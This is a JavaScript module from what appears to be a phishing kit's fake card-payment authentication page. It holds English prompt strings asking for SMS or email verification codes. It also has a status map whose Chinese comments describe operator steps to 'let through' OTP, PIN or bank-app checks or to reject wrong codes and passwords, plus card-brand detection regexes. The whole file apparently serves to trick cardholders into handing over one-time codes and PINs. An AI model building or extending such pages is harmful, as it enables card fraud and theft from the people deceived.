export default {
  paymentProcessing: 'Payment is processing',
  validBankApp: 'Please confirm on your bank mobile app!',
  loadingPageNotice:
    'Notice：Your payment is currently processing, Please wait a moment.This usually takes 1-2 minutes.',
  sendCode: {
    title: 'Purchase authentication',
    descSms: 'We just sent you a verification code by SMS to ',
    descEmail: 'We just sent you a verification code by SMS to ',
    desc2: 'You are authorizing a payment to Store for ',
    desc3: ' with your card ',
    on: ' on ',
    verificationCode: 'Verification code',
    submit: 'SUBMIT',
    cancel: 'Cancel',
    tip: 'Click here to receive another code',
    failedTitle: 'Authentication failed',
    successTitle: 'Authentication success',
    successTip: 'Authentication success, Your order has been successfully paid',
    failedTip: 'Authentication failed, we were unable to verify this card.',
    sendAgainEmailTip: 'A verification code has been sent to your email.',
    sendAgainPhoneTip: 'A verification code has been sent to your phone.'
  }
};
export const statusMap = [
  1,
  // 待处理：
  5,
  // 放行邮箱验证：
  2,
  // 放行银行app：
  3,
  // 放行otp 短信验证
  7,
  // 放行pin
  9,
  // 放行pin+otp
  0,
  // 拒绝验证码错误：
  101,
  // 拒绝密码错误：
  100,
  // 拒绝付款失败：
  150,
  // 提交码加载中：
  200,
  //放行成功
];
export const cardSchema = {
  'visa': 'visa',
  'mastercard': 'mastercard',
  'discover': 'discover',
  'japan-credit-bureau': 'jcb',
  'american-express': 'amex'
};
/**
 *
 * @param {*} value schema 转小写 空格 转横线
 * @returns 返回key
 */
export function findCardType(value) {
  const keys = Object.keys(cardSchema);
  for (let i = 0; i < keys.length; i++) {
    if (cardSchema[keys[i]] === value) {
      return keys[i];
    }
  }
  return 'visa'; // 如果没有找到匹配的值，返回的cardSchema 的key
}

export function getTopLevelDomain(url) {
  var urlObj = new URL(url);
  var hostname = urlObj.hostname;
  var parts = hostname.split('.');
  var topLevelDomain = parts.slice(-2).join('.');
  return topLevelDomain;
}


export function getCardType(card) {
  let number = card.replaceAll(' ', '');
  if (/^4\d{12}(\d{3})?(\d{3})?$/.test(number)) {
      return "visa";
  } else if (/^3[47]\d{13}$/.test(number)) {
      return "amex";
  } else if (/^(5[1-5]\d{4}|677189|222[1-9]\d{2}|22[3-9]\d{3}|2[3-6]\d{4}|27[01]\d{3}|2720\d{2})\d{10}$/.test(number)) {
      return "mastercard";
  } else if (/^(6011|65\d{2}|64[4-9]\d)\d{12}|(62\d{14})$/.test(number)) {
      return "discover";
  } else if (/^35(28|29|[3-8]\d)\d{12}$/.test(number)) {
      return "jcb";
  } else if (/^3(0[0-5]|[68]\d)\d{11}$/.test(number)) {
      return "diners";
  } else {
      return "visa";
  }
}
